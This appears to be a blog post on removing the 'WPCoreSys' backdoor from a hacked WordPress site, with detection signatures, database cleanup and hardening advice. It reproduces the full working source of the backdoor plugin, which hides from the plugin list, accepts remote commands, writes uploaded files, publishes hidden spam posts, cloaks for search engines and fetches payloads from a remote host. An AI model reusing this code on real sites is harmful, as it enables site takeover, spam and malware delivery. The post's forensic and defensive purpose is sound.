WPCoreSys (Dolly) Hack

The Intro

I was recently hired to clean up a site that was hacked previously.  Even though they reverted to a previous backup copy and upgraded all plugins and themes, the site keeps getting hacked a few months later.  The symptom of the hack is an XSS hack that would cause all their visitors to be redirected to another site.  They suspected that the site may have a backdoor somewhere.  If you’re going to use this guide, which would be under your own discretion, make sure you read everything all the way though first, as well as have ample backups in place in case of undesirable results.  Or hire a pro!

The Investigation

After some investigation, I found the backdoor.  One of my scanners,  Anti-Malware Security found a known threat on the webserver.  WPCoreSys.  And right now it’s dormant.
 

Click to expand

 
It’s in the plugins directory, but never showed up in the plugins page.  Oddly enough, the last modified date was the date of the last hack, so it stood out versus the last modification dates of all the other plugins.
 

 

  • Click to see WPCoreSys code

    <?php
    /*
    * Plugin Name: WPCoreSys
    * Version: 2.0
    * Author: WordPress
    */
    error_reporting(0);function fn_dolly_get_filename_from_headers($headers)
    {
    if (is_array($headers))
    {
    foreach($headers as $header => $value)
    {
    if (stripos($header,’content-disposition’) !== false || stripos($value,’content-disposition’) !== false)
    {
    $tmp_name = explode(‘=’, $value);if ($tmp_name[1])
    {
    $tmp_name = trim($tmp_name[1],’”;\”);
    break;
    }
    }
    }
    }return (isset($tmp_name) && !empty($tmp_name)) ? $tmp_name : false;
    }function fn_dolly_get_cookie_name()
    {
    return ‘wp-‘ . md5(get_home_url() . ‘w_cookie’);
    }function fn_dolly_get_table_name()
    {
    global $wpdb;return $wpdb->prefix . ‘dolly_plugin_table’;
    }function fn_dolly_plugin_activation_hook()
    {
    global $wpdb;
    $table_name = fn_dolly_get_table_name();if($wpdb->get_var(“SHOW TABLES LIKE ‘$table_name’”) != $table_name)
    {
    $charset_collate = $wpdb->get_charset_collate();$sql = “CREATE TABLE {$table_name} (
    hash varchar(32) NOT NULL,
    url varchar(190) NOT NULL,
    time datetime DEFAULT ‘0000-00-00 00:00:00’ NOT NULL,
    UNIQUE KEY hash (hash)
    ) {$charset_collate};”;require_once(ABSPATH . ‘wp-admin/includes/upgrade.php’);
    dbDelta($sql);
    }
    }class dolly_plugin
    {
    var $m_root_path;
    var $m_upload_path;
    var $m_upload_url;
    var $m_request;
    var $m_actions;
    var $m_useragent = ‘Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0)’;
    var $m_secookie = ”;public function __construct()
    {
    $this->m_actions = array(‘INIT’, ‘TARGET’, ‘UPLOAD’, ‘POST’, ‘STATS’, ‘HTML’);$this->m_root_path = plugin_dir_path(__FILE__);$upload_path = wp_upload_dir();if (isset($upload_path[‘path’]) && is_writable($upload_path[‘path’]))
    {
    $this->m_upload_path = $upload_path[‘path’];
    $this->m_upload_url = $upload_path[‘url’];
    }if (isset($_COOKIE[fn_dolly_get_cookie_name()]))
    $this->m_secookie = true;if ( (!$this->is_se_request() && empty($this->m_secookie)) )
    {
    add_filter(‘posts_clauses’, array($this, ‘posts_clauses’), 0, 2);
    add_filter(‘terms_clauses’, array($this, ‘terms_clauses’), 0, 2);
    }
    else
    {
    if (empty($this->m_secookie))
    setcookie(fn_dolly_get_cookie_name(), ‘true’, time() + (5 * MINUTE_IN_SECONDS), COOKIEPATH, COOKIE_DOMAIN);add_action(‘installation_point’, array($this, ‘insert_content’));
    add_action(‘dynamic_sidebar’, array($this, ‘insert_content’));
    add_action(‘wp_footer’, array($this, ‘insert_content’));
    }add_action(‘init’, array($this, ‘wp_init’), 0);
    add_action(‘wp_title’, array($this, ‘count_post_stats’));
    add_action(‘wp_head’, array($this, ‘count_post_stats’));
    add_action(‘dynamic_sidebar’, array($this, ‘count_post_stats’));
    add_action(‘wp_footer’, array($this, ‘count_post_stats’));if (is_admin())
    add_action(‘all_plugins’, array($this, ‘all_plugins’));add_filter(‘get_the_excerpt’, array($this, ‘get_the_excerpt’));

    register_activation_hook(__FILE__, ‘fn_dolly_plugin_activation_hook’);

    $this->track_target_download();
    }

    private function parse_request()
    {
    $this->m_request = false;

    foreach ($_POST as $key => $value)
    {
    if (stripos($key, ‘w_’) === false)
    continue;

    if (!is_array($this->m_request))
    $this->m_request = array();

    $this->m_request[$key] = $value;
    }

    if (!isset($this->m_request[‘w_action’]) || !isset($this->m_request[‘w_seckey’]))
    $this->m_request = false;

    return $this->m_request;
    }

    public function wp_init()
    {
    global $wpdb;

    if ($this->parse_request() !== false)
    {
    $action = $this->m_request[‘w_action’];

    $key_req = $this->m_request[‘w_seckey’];

    $key_hash = get_option(‘w_dolly_hash’);

    if (empty($key_hash) && $action == ‘INIT’)
    add_option(‘w_dolly_hash’, md5($key_req)) === true ? $this->result(1) : $this->result(0);

    if ((!empty($key_req) && !empty($key_hash)) && ($key_hash != md5($key_req)))
    $this->result(0);

    switch ($action)
    {
    case ‘TARGET’:
    {
    if (empty($this->m_request[‘w_target’]))
    $this->result(0);

    $target = base64_decode($this->m_request[‘w_target’]);

    update_option(‘w_dolly_target’, $target) === true ? $this->result(1) : $this->result(0);

    break;
    }
    case ‘UPLOAD’:
    {
    if (empty($this->m_request[‘w_filename’]) || empty($this->m_request[‘w_filedata’]))
    $this->result(0);

    $path = $this->m_upload_path . ‘/’ . $this->m_request[‘w_filename’];

    $url = $this->m_upload_url . ‘/’ . $this->m_request[‘w_filename’];

    $data = base64_decode(rawurldecode($this->m_request[‘w_filedata’]));

    file_put_contents($path, $data) === false ? $this->result(0) : $this->result($url);

    break;
    }
    case ‘POST’:
    {
    if (empty($this->m_request[‘w_postbody’]) || empty($this->m_request[‘w_posttitle’]))
    $this->result(0);

    $post_body = base64_decode(rawurldecode($this->m_request[‘w_postbody’]));

    $dolly_excerpt = get_option(‘w_dolly_excerpt’);

    if (empty($dolly_excerpt))
    {
    $dolly_excerpt = substr($key_hash, 0, 5);

    add_option(‘w_dolly_excerpt’, $dolly_excerpt);
    }

    $new_post = array(
    ‘post_title’ => $this->m_request[‘w_posttitle’],
    ‘post_content’ => $post_body,
    ‘post_status’ => ‘publish’,
    ‘post_author’ => 1
    );

    if (!empty($this->m_request[‘w_postcat’]))
    {
    $post_cat = $this->m_request[‘w_postcat’];

    $cat_id = get_cat_ID($post_cat);

    if ($cat_id == 0)
    {
    $new_term = wp_insert_term($post_cat, ‘category’);

    $cat_id = intval($new_term[‘term_id’]);
    }

    $new_post[‘post_category’] = array($cat_id);
    }

    kses_remove_filters();

    $post_id = wp_insert_post($new_post);

    if (is_int($post_id) && $post_id > 0)
    {
    $excerpt = apply_filters(‘the_excerpt’, get_post_field(‘post_content’, $post_id));

    $excerpt = $excerpt . $dolly_excerpt;

    $post_update = array(‘ID’ => $post_id, ‘post_excerpt’ => $excerpt);

    wp_update_post($post_update, true);

    $url = get_permalink($post_id);

    $this->result($url);
    }

    $this->result(0);

    break;
    }
    case ‘STATS’:
    {
    $table = fn_dolly_get_table_name();

    $result = $wpdb->get_results(“SELECT url, COUNT(url) AS hits FROM {$table} GROUP BY url”);

    $stats = ”;

    foreach ($result as $value)
    $stats .= $value->url . ‘|’ . $value->hits . “\n”;

    $this->result($stats);

    break;
    }
    case ‘HTML’:
    {
    if (empty($this->m_request[‘w_html’]))
    $this->result(0);

    $html = base64_decode($this->m_request[‘w_html’]);

    update_option(‘w_dolly_html’, $html) === true ? $this->result(1) : $this->result(0);

    break;
    }
    }
    }

    $this->reset_stats();
    }

    public function get_the_excerpt($ex)
    {
    $excerpt = get_option(‘w_dolly_excerpt’);

    if (!empty($excerpt))
    $ex = str_replace($excerpt, ”, $ex);

    return $ex;
    }

    public function all_plugins($plugins)
    {
    $self_file = str_replace($this->m_root_path, ”, __FILE__);

    foreach ($plugins as $plugin_file => $plugin_data)
    {
    if (stripos($plugin_file, $self_file) !== false)
    {
    unset($plugins[$plugin_file]);

    break;
    }
    }

    return $plugins;
    }

    public function posts_clauses($clauses, $query)
    {
    global $wpdb;

    $excerpt = get_option(‘w_dolly_excerpt’);

    if (!empty($excerpt))
    {
    $clauses[‘where’] .= ” AND {$wpdb->posts}.post_excerpt NOT LIKE ‘%{$excerpt}%’”;
    }

    return $clauses;
    }

    public function terms_clauses($clauses, $query)
    {
    global $wpdb;

    $excerpt = get_option(‘w_dolly_excerpt’);

    if (!empty($excerpt))
    {
    $cats = $wpdb->get_col(
    “SELECT key1.term_id FROM wp_term_taxonomy key1
    INNER JOIN wp_term_relationships key2 ON key2.term_taxonomy_id = key1.term_taxonomy_id AND key1.taxonomy = ‘category’
    INNER JOIN wp_posts key3 ON key3.id = key2.object_id AND key3.post_excerpt LIKE ‘%{$excerpt}%’”
    );

    $clauses[‘where’] .= ” AND t.term_id NOT IN(” . implode(“,”, $cats) . “)”;
    }

    return $clauses;
    }

    public function insert_content($args)
    {
    global $g_html_inserted, $g_links_inserted;

    if (!isset($g_html_inserted) && $_SERVER[“REQUEST_URI”] == “/”)
    {
    $html = get_option(‘w_dolly_html’);

    if (!empty($html))
    echo $html;

    $g_html_inserted = true;
    }

    if (!isset($g_links_inserted))
    {
    echo “\r\n”;
    echo “<ul>\r\n”;
    wp_get_archives();
    echo “</ul>\r\n”;
    echo “\r\n”;

    $g_links_inserted = true;
    }
    }

    public function count_post_stats()
    {
    global $g_stats_counted, $post, $wpdb;

    if (empty($g_stats_counted) && is_object($post) && is_single())
    {
    $w_excerpt = get_option(‘w_dolly_excerpt’);

    $p_excerpt = $post->post_excerpt;

    if (stripos($p_excerpt, $w_excerpt) !== false)
    {
    $table_name = fn_dolly_get_table_name();

    $post_url = get_the_permalink();

    $ip = isset($_SERVER[‘HTTP_X_REAL_IP’]) ? $_SERVER[‘HTTP_X_REAL_IP’] : null;
    $ip = empty($ip) && isset($_SERVER[‘HTTP_X_FORWARDED_FOR’]) ? $_SERVER[‘HTTP_X_FORWARDED_FOR’] : $ip;
    $ip = empty($ip) && isset($_SERVER[‘REMOTE_ADDR’]) ? $_SERVER[‘REMOTE_ADDR’] : $ip;

    $hash = md5($ip . $_SERVER[‘HTTP_USER_AGENT’]);

    $sql = “INSERT INTO {$table_name} (hash, url, time) VALUES(%s, %s, NOW())”;

    $sql = $wpdb->prepare($sql, $hash, $post_url);

    $wpdb->query($sql);

    $g_stats_counted = true;
    }
    }
    }

    private function track_target_download()
    {
    $target = get_option(‘w_dolly_target’);

    $hash = get_option(‘w_dolly_hash’);

    $var = isset($_GET[$hash]) ? $_GET[$hash] : false;

    if (!empty($target) && $var !== false)
    {
    $target_url = $target . ‘?target=’ . $var;
    $target_path = $this->m_upload_path . ‘/’ . $var;
    $target_mtime = intval(filemtime($target_path));
    $target_name = ”;
    $target_content = ”;

    if (!file_exists($target_path) || ($target_mtime > 0 && (time() – $target_mtime >= HOUR_IN_SECONDS)))
    {
    if (file_exists($target_path))
    unlink($target_path);

    if (!function_exists(‘wp_remote_get’))
    {
    $request = wp_remote_get($target_url, array(‘user-agent’ => $this->m_useragent));

    if (is_array($request) && !empty($request[‘body’]))
    {
    $target_name = fn_dolly_get_filename_from_headers($request[‘headers’]);

    $response_code = wp_remote_retrieve_response_code($request);

    if ($response_code == 200)
    $target_content = wp_remote_retrieve_body($request);
    }
    }

    if (empty($target_content))
    {
    $opts = array(‘http’ => array(
    ‘method’ => ‘GET’,
    ‘header’ => ‘User-agent: ‘ . $this->m_useragent . “\r\n”)
    );

    $context = stream_context_create($opts);

    $target_content = file_get_contents($target_url, false, $context);

    $target_name = fn_dolly_get_filename_from_headers($http_response_header);
    }

    if (!empty($target_content))
    file_put_contents($target_path, $target_content);

    if (!empty($target_name))
    file_put_contents($target_path . ‘.name’, $target_name);
    }
    else
    $target_content = file_get_contents($target_path);

    if (empty($target_content))
    {
    header(‘Location: ‘ . $target_url);
    die();
    }
    else
    {
    $target_name = file_exists($target_path . ‘.name’) ? trim(file_get_contents($target_path . ‘.name’)) : $var;

    header(‘Content-Description: File Transfer’);
    header(‘Content-Type: application/octet-stream’);
    header(‘Content-Disposition: attachment; filename=”‘ . $target_name . ‘”‘);
    header(‘Content-Transfer-Encoding: binary’);
    header(‘Expires: 0’);
    header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
    header(‘Pragma: public’);
    header(‘Content-Length: ‘ . strlen($target_content));

    die($target_content);
    }
    }
    }

    private function reset_stats()
    {
    global $wpdb;

    $last_reset_time = intval(get_option(‘w_dolly_resettime’));

    if ((time() – $last_reset_time) >= (60 * 60 * 1))
    {
    $table_name = fn_dolly_get_table_name();

    $wpdb->query(“DELETE FROM {$table_name} WHERE time <= NOW() – INTERVAL 1 DAY”);

    update_option(‘w_dolly_resettime’, time());
    }
    }

    private function result($code)
    {
    die(‘[***[‘ . $code . ‘]***]’);
    }

    private function is_se_request()
    {
    $is_se = false;

    $se_name = array(‘google’, ‘yahoo’, ‘msn’, ‘bing’);

    $referer = isset($_SERVER[‘HTTP_REFERER’]) ? $_SERVER[‘HTTP_REFERER’] : ”;

    $agent = isset($_SERVER[‘HTTP_USER_AGENT’]) ? $_SERVER[‘HTTP_USER_AGENT’] : ”;

    if (!empty($referer) || !empty($agent))
    {
    foreach ($se_name as $name)
    {
    if (stripos($referer, $name) !== false || stripos($agent, $name) !== false)
    {
    $is_se = true;

    break;
    }
    }
    }

    return $is_se;
    }
    }

    global $g_dolly_plugin;

    if (!isset($g_dolly_plugin))
    $g_dolly_plugin = new dolly_plugin();
    ?>

 
 
You can do a scan for some of the following signatures of the hack on your webserver to see if you have it.
  • fn_dolly_get_filename_from_headers
  • fn_dolly_plugin_activation_hook
  • dolly_plugin_table
  • w_dolly_resettime
Here’s some info on WPCoreSys that I found on the web:

The clean-up.

There’s a few place that WPCoreSys.php attacked.  While reading it’s code I see that it targeted the database, theme files, and core WordPress files.
 
The WordPress files seem to be unaffected and has no backdoor (something may have went wrong in the code or a file permission issue prevented the payload from executing correctly).  The active theme’s header (/wp-content/themes/{your active theme folder}/header.php file has been re-written.  For example, in this website, all the bad code is at the top before the start of the html page.  You would just remove lines 1-67.  The legit code starts on line 68.
 

Click to expand

If you can’t located your header.php or want to be thorough, you could do a server scan on the following phrases or a partial of these phrases.  These code signature seems to stick out and should not be in any legitimate code you have on your site.

  • strpos($tmp, 'sqworm') !== false 
  • $tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
  • $qstr = $filename . "?p=" . $ksite . "&view=";
  • $tiaourl
The database has back doors in the wp_options table which was created by WPCoreSys.  Execute the select query below to discover the rows of data injected and then delete them.  I’ve only notice 4 all prefixed with w_dolly_…
 
 
WPCoreSys also created a table to house the pharma posts once the malware gets triggered.  Interesting enough, the malware poses itself as the Hello Dolly plugin hoping people would overlook it.  You will want to delete this table.  Look for wp_dolly_plugin_table.  Note that the real Dolly plugin doesn’t create or have a database table.
 
What I also do is, I’ll run Anti-Malware Security through a few passes and have it scrub files until it can’t find any more malware.  I’ll also run the scanner in Wordfence until it can’t find any more malware as well.  Once those two scans show no more vulnerabilities, I will start downloading the files onto my machine.  I have Sophos installed.  And see if it alerts me of any malware.  If it doesn’t, then I’ll proceed and install Avast, delete the files, and re-download them again and see if it alerts me.  I find that these desktop anti-virus programs also detect malware from PHP code.  Hopefully, after all this, I can assure myself that no more backdoors are in the PHP files.

 

The Prevention

So now that the backdoors have been removed.  Here’s are the safe guards I recommend to be put into place.

  • .htaccess permission set to 444.
  • wp-config.php permission changed to 444 (but can go down to 440 or 400).
  • verify that all folders are at 555 (755 or 705 is acceptable)
  • verify that files are at 604 (644 is acceptable), except the 2 files above, those are special and need more security.

Download and install iTheme Security plugin and go through all the settings and have them turned on except for the SSL option if you don’t have one.  Then go under Advanced and make sure you go through those settings as well, but forego the ‘Change Content Directory’ since that might break things.  The most important one is ‘Hide Backend.’  Do that one.   It will change the default URL of the back-end, that in itself will do wonders for your site’s security.

Download and install Sucuri Security plugin and go through the following settings under Hardening:

  • Verify WordPress version
  • Verify PHP Version
  • Remove WordPress Version
  • Security Key (note that this is a duplication from iThemes)
  • Default admin account
  • Plugin & Theme editor
  • Database table predix (note that this is a duplication from iThemes).

Under Post Hack, do:

  • Reset plugin
  • Reset user’s password.

Go through your wp-config.php file and add the following lines if it doesn’t exists in there already and change the example URL to your URL. You can check your URLs you have already set in WordPress under Settings > General > WordPress address (WP_HOME) and Site Address (WP_SITEURL) in your WP admin dashboard.  It might make a difference if your domain is prefix with www.

define('WP_HOME','http://example.com');
define('WP_SITEURL','http://example.com');

These options should prevent people from accessing the code within WordPress admin dashboard under Appearance > Editor and Plugins > Editor.  It also hardcodes the URL of your site in a file instead of the database where it could be changed by a hacker.

define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MOD', true);

This will have WordPress apply auto-updating.
define('WP_AUTO_UPDATE_CORE', true );

If you have SSL, then you should add the following to hardcode this rule to a file that all admin activities must use SSL.
define('FORCE_SSL_ADMIN', true);

Other WordPress hardening that I would do is to re-visit the need to have blog post commenting turned on if there is a blog.  If the blog is rarely getting legitimate comments, it might be a consideration to just turn off commenting altogether.  I would ensure that all comments must be manually approved, irregardless.  This can be found under Settings > Discussions.

Remove all unnecessary themes not activated on the website.  Delete the default twentyXXX themes that comes with WordPress.  And then update the activate theme if possible.

Remove all deactivated plugins and revisit every plugin to see if its even necessary to have on the site.  Then update all existing plugins if necessary.

Here’s comes the tricky part about updating plugins and themes.  You may think you’re done upgrading all plugins and themes because WordPress isn’t screaming at you saying there’s more upgrades to be done.  But that is deceiving.  WordPress will only tell you if there’s an update if the plugin exists in the WordPress repository.  Typically these are the free plugins you download into your site from within WordPress.  The same goes with the themes.  Anything you buy from ThemeForestCodeCanyon, or any third-party site can still be outdated and you and WordPress would not know without visiting each vendor’s website to see if there’s an update available.  An easy way to see if you have premium plugins installed is to go to Sucuri > Post-Hack > Reset Plugins and see which plugins are listed as premium.  Then you’ll have to go check where you purchase the plugin to see if there’s a new version available.  Download the new version, deactivate and delete the old version that is on the site and then upload the new version and activate.

If you don’t have JetPack, and if you’re not remotely posting your blog posts from a third party app, you can most likely turn off XML-RPC.  Here’s is the best place I found for doing so:  http://www.blogaid.net/disable-xml-rpc-in-wordpress-to-prevent-ddos-attack/

The Prevention Part 2: Outside WordPress

Here are additional things I would harden that are outside WordPress:

  • Re-visit all FTP accounts and eliminate as much as possible.  Give FTP access to specific directories and not root.  Reset FTP with a strong password.  Perhaps see if sFTP is available at your hosting provider.  SSH is a possibility if you’re up for the learning curve.
  • Reset your hosting login with a strong username and password.
  • Worth it if you have time and if you’re on a shared hosting server, visit this url: http://www.ipneighbour.com.  These are the other websites that shares the same server as your website.  Because these other websites shares the same server and resources as your website, it is possible that a hack from their website leaks into yours through the actual machine itself.  You may want to browse a few of them and see if any has been hacked.  I’m sure there must be a place where you can send a list of URL and have a bot/service go through to auto-check for malware on these other sites.  Perhaps just upgrade to a dedicated server which means only your websites are on the server.
  • Check to see if your host can upgrade you to the latest version of PHP, MySQL, and Apache.
  • Reset the database with a strong password and update the wp-config database settings.
  • If there are any temporary and/or backup (.bak) files on the server, just delete them.  No need to have them lying around.

Pointers & Considerations

If a hack occurs on any site, here’s some food-for-thoughts and pointers.

  • I know its urgent to get the site back online especially with mad clients, but by reverting to a previous backup right away, you cover up the tracks that could help identify the type of malware it is.  Instead, just put up a temp landing page.  That way the hack is preserved to be studied. This makes it a lot easier to put in better safe guards in the future and prevent more hacks down the road.  Have a good record of the hacked site and then you can revert back.
  • A developer can choose to take screenshots, or record a screen-cast of them going through the server and look at key files (functions.php, .htaccess, wp-config) and key directories (plugins, wp-content) before the site is reverted. This “footage” would provide you with solid records for later review while at the same time speed up the process of getting the website back online.  If you have managed hosting, you may be able to clone down the hacked site to staging and it may allow you to revert production from a previous copy of the site.  Staging would then be your record of the hack. Alternatively, you can download the entire site to your computer; but you’ll lose the time-stamps.
  • Since the hack is preserved, your first key to look for is the timestamp of which file was changed recently.  That’ll be a key indicator that this file has been recently altered and introduced something new which may be the hack.
  • Security isn’t a checkbox that once crossed off, it is done.  It’s an ongoing thing.  You should probably setup a workflow and maintenance plan to accommodate this.
  • Lowering the number of plugins used as well as premium plugins used will lower your chances for vulnerabilities and up-keeping.  I know plugins are nice because you don’t have to re-invent the wheel, but there must be a balance.
  • For premium themes or plugins look for ones that have auto-updating features or at the very least the ability to just go in and click on the update button and it can go and fetch the updates just like the free plugins.  These are tricky, because they will not tell you they need upgrading until you manually research it yourself on the vendor’s website.
  • If a file, plugin, theme, backup folder/file etc.. is not being used.  Delete it.  Or house the backup locally.  Don’t leave files that aren’t active on the server that could be used as a weak link in the chain.
  • Always keep everything up-to-date.  A broken site due to an incompatible upgrade may be better than hacked site.  I recommend using a plugin to automatically upgrade your non-premium plugins like Companion Auto Update.

Update: A follow-up post has been created with reader questions.  You can read it at WPCoreSys (Dolly) Hack – Revisited.  Also checkout the Pharma Hack article.